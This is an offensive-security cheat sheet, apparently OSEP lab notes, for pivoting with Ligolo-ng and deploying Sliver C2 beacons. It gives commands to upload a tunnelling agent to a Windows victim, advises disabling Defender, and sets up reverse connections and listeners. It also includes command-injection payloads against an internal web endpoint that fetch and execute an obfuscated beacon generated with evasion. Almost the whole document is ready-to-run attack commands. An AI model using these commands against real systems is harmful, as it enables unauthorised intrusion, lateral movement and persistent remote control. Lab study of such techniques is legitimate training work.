# Ligolo

#### TIP: Make sure defender is disabled or ligolo might get removed

## Subnet Access

### 1) Upload the agent

```
upload /home/kali/tools/ligolo-ng/agent.exe c:/windows/tasks/agent.exe
ls c:/windows/tasks/agent.exe
```

### 2) Start the ligolo proxy on kali

```
sudo /home/kali/tools/ligolo-ng/proxy -selfcert -laddr 10.10.10.11:4444
```

### 3) Delete the interfaces if already exist (in case ip ranges change on next connection)

```
interface_delete --name osep-challenge
interface_delete --name osep-challenge-vault
```

### 4) After starting, create a interface and assign route

```
interface_create --name osep-challenge
interface_route_add --name osep-challenge --route 10.10.100.0/24
```

### 5) Add another one

```
interface_create --name osep-challenge-vault
interface_route_add --name osep-challenge-vault --route 10.10.200.25/32
```

### 6) Connect from the victim machine back to attacker machine with interactive shell

```
shell
C:\Windows\tasks\agent.exe -connect 10.10.10.11:21 -ignore-cert -retry
```

Or run directly, will have to Ctrl + C and launch sliver again, don't worry though the process will keep running!

```
execute -t 1000 -o C:\\Windows\\tasks\\agent.exe -connect 10.10.10.11:4444 -ignore-cert -retry
```

If you use it without -o it won't wait for console output and no need to ctrl + c

```
execute C:\\Windows\\tasks\\agent.exe -connect 10.10.10.11:4444 -ignore-cert -retry
```

### 7) Select the session

```
session
```

### 8) Start the tunnel

```
tunnel_start --tun osep-challenge
tunnel_start --tun osep-challenge-vault
```

## Port Forwarding

In this scenario the machine machine05 can't access our machine kali but can access jump01 and we have compromised jump01

machine05 -> jump01:8000 -> kali:80 to download sliver implant from our apache2 server machine05 -> jump01:8088 -> kali:8088 - for sliver beaconing

### 1) Create listener (from jump01:8000 -> kali:80)

```
listener_add --addr 10.10.250.10:8000 --to 0.0.0.0:80
```

### 2) We'll use the IP of Jump01 - 10.10.250.10

```
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe curl http://10.10.250.10:8000/;#'
```

### 3) Generate sliver beacon - IP of jump01

```
generate beacon --http 10.10.250.10:8088 --name sliver.obfuscated --os windows --seconds 5 --jitter 0 --evasion
```

### 4) Get the sliver beacon

```
sudo python3 -m http.server 80
sudo chmod 777 /var/www/html/sliver.obfuscated.exe
```

### 5) Get shell access

```
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe curl http://10.10.250.10:8000/sliver.obfuscated.exe -O C:\Windows\temp\sliver.obfuscated2.exe ;#'
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe ls C:\Windows\temp\sliver.obfuscated2.exe ;#'
```

### 6) Create another listener (from jump01:8090 -> sliver:8088)

```
listener_add --addr 10.10.250.10:8088 --to 10.10.10.11:8088
```

### 7) Run the .exe

```
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);cmd.exe /c C:\Windows\temp\sliver.obfuscated2.exe ;#'
```